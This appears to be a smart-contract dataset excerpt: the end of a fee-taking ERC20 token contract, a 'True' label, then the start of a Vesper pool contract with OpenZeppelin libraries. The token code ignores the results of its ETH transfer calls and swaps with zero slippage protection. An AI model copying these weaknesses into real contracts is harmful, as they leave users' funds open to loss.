tokensForDev5 += fees * buyDev5Fee / buyTotalDevFees;
tokensForMarketing += fees * marketingFee / buyTotalDevFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
//swapTokensForEth(fees);
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForDev1 + tokensForDev2 + tokensForDev3 + tokensForDev4 + tokensForDev5 + tokensForMarketing;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
//uint256 initialETHBalance = address(this).balance;
swapTokensForEth(totalTokensToSwap);
uint256 ethBalance = address(this).balance;
uint256 ethForDev1 = ethBalance.mul(tokensForDev1).div(totalTokensToSwap);
uint256 ethForDev2 = ethBalance.mul(tokensForDev2).div(totalTokensToSwap);
uint256 ethForDev3 = ethBalance.mul(tokensForDev3).div(totalTokensToSwap);
uint256 ethForDev4 = ethBalance.mul(tokensForDev4).div(totalTokensToSwap);
uint256 ethForDev5 = ethBalance.mul(tokensForDev5).div(totalTokensToSwap);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
tokensForDev1 = 0;
tokensForDev2 = 0;
tokensForDev3 = 0;
tokensForDev4 = 0;
tokensForDev5 = 0;
tokensForMarketing = 0;
(bool success,) = dev1Wallet.call{value: ethForDev1}("");
(success,) = dev2Wallet.call{value: ethForDev2}("");
(success,) = dev3Wallet.call{value: ethForDev3}("");
(success,) = dev4Wallet.call{value: ethForDev4}("");
(success,) = dev5Wallet.call{value: ethForDev5}("");
(success,) = marketingWallet.call{value: ethForMarketing}("");
}
// force Swap back if slippage above 49% for launch.
function forceSwapBack() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
require(contractBalance >= totalSupply() / 100, "Can only swap back if more than 1% of tokens stuck on contract");
swapBack();
emit OwnerForcedSwapBack(block.timestamp);
}
// useful for buybacks or to reclaim any ETH on the contract in a way that helps holders.
function buyBackTokens(uint256 ethAmountInWei) external onlyOwner {
// generate the uniswap pair path of weth -> eth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmountInWei}(
0, // accept any amount of Ethereum
path,
address(0xdead),
block.timestamp
);
emit BuyBackTriggered(ethAmountInWei);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-03-31
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts/Pausable.sol
pragma solidity 0.6.12;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
*/
contract Pausable is Context {
event Paused(address account);
event Shutdown(address account);
event Unpaused(address account);
event Open(address account);
bool public paused;
bool public stopEverything;
modifier whenNotPaused() {
require(!paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused, "Pausable: not paused");
_;
}
modifier whenNotShutdown() {
require(!stopEverything, "Pausable: shutdown");
_;
}
modifier whenShutdown() {
require(stopEverything, "Pausable: not shutdown");
_;
}
/// @dev Pause contract operations, if contract is not paused.
function _pause() internal virtual whenNotPaused {
paused = true;
emit Paused(_msgSender());
}
/// @dev Unpause contract operations, allow only if contract is paused and not shutdown.
function _unpause() internal virtual whenPaused whenNotShutdown {
paused = false;
emit Unpaused(_msgSender());
}
/// @dev Shutdown contract operations, if not already shutdown.
function _shutdown() internal virtual whenNotShutdown {
stopEverything = true;
paused = true;
emit Shutdown(_msgSender());
}
/// @dev Open contract operations, if contract is in shutdown state
function _open() internal virtual whenShutdown {
stopEverything = false;
emit Open(_msgSender());
}
}
// File: contracts/interfaces/vesper/IController.sol
pragma solidity 0.6.12;
interface IController {
function aaveReferralCode() external view returns (uint16);
function feeCollector(address) external view returns (address);
function founderFee() external view returns (uint256);
function founderVault() external view returns (address);
function interestFee(address) external view returns (uint256);
function isPool(address) external view returns (bool);
function pools() external view returns (address);
function strategy(address) external view returns (address);
function rebalanceFriction(address) external view returns (uint256);
function poolRewards(address) external view returns (address);
function treasuryPool() external view returns (address);
function uniswapRouter() external view returns (address);
function withdrawFee(address) external view returns (uint256);
}
// File: contracts/interfaces/vesper/IVesperPool.sol
pragma solidity 0.6.12;
interface IVesperPool is IERC20 {
function approveToken() external;
function deposit() external payable;
function deposit(uint256) external;
function multiTransfer(uint256[] memory) external returns (bool);
function permit(
address,
address,
uint256,
uint256,
uint8,
bytes32,
bytes32
) external;
function rebalance() external;
function resetApproval() external;
function sweepErc20(address) external;
function withdraw(uint256) external;
function withdrawETH(uint256) external;
function withdrawByStrategy(uint256) external;
function feeCollector() external view returns (address);
function getPricePerShare() external view returns (uint256);
function token() external view returns (address);
function tokensHere() external view returns (uint256);
function totalValue() external view returns (uint256);
function withdrawFee() external view returns (uint256);
}
// File: contracts/interfaces/vesper/IPoolRewards.sol
pragma solidity 0.6.12;
interface IPoolRewards {
function notifyRewardAmount(uint256) external;
function claimReward(address) external;
function updateReward(address) external;
function rewardForDuration() external view returns (uint256);
function claimable(address) external view returns (uint256);
function pool() external view returns (address);
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
}
// File: sol-address-list/contracts/interfaces/IAddressList.sol
pragma solidity ^0.6.6;
interface IAddressList {
event AddressUpdated(address indexed a, address indexed sender);
event AddressRemoved(address indexed a, address indexed sender);
function add(address a) external returns (bool);
function addValue(address a, uint256 v) external returns (bool);
function addMulti(address[] calldata addrs) external returns (uint256);
function addValueMulti(address[] calldata addrs, uint256[] calldata values) external returns (uint256);
function remove(address a) external returns (bool);
function removeMulti(address[] calldata addrs) external returns (uint256);
function get(address a) external view returns (uint256);
function contains(address a) external view returns (bool);
function at(uint256 index) external view returns (address, uint256);
function length() external view returns (uint256);
}
// File: sol-address-list/contracts/interfaces/IAddressListExt.sol
pragma solidity ^0.6.6;
interface IAddressListExt is IAddressList {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
// File: sol-address-list/contracts/interfaces/IAddressListFactory.sol
pragma solidity ^0.6.6;
interface IAddressListFactory {
event ListCreated(address indexed _sender, address indexed _newList);
function ours(address a) external view returns (bool);
function listCount() external view returns (uint256);
function listAt(uint256 idx) external view returns (address);
function createList() external returns (address listaddr);
}
// File: contracts/pools/PoolShareToken.sol
pragma solidity 0.6.12;
/// @title Holding pool share token
// solhint-disable no-empty-blocks
abstract contract PoolShareToken is ERC20, Pausable, ReentrancyGuard {
using SafeERC20 for IERC20;
IERC20 public immutable token;
IAddressListExt public immutable feeWhiteList;
IController public immutable controller;
/// @dev The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
/// @dev The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH =
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
);
bytes32 public immutable domainSeparator;
uint256 internal constant MAX_UINT_VALUE = uint256(-1);
mapping(address => uint256) public nonces;
event Deposit(address indexed owner, uint256 shares, uint256 amount);
event Withdraw(address indexed owner, uint256 shares, uint256 amount);
constructor(
string memory _name,
string memory _symbol,
address _token,
address _controller
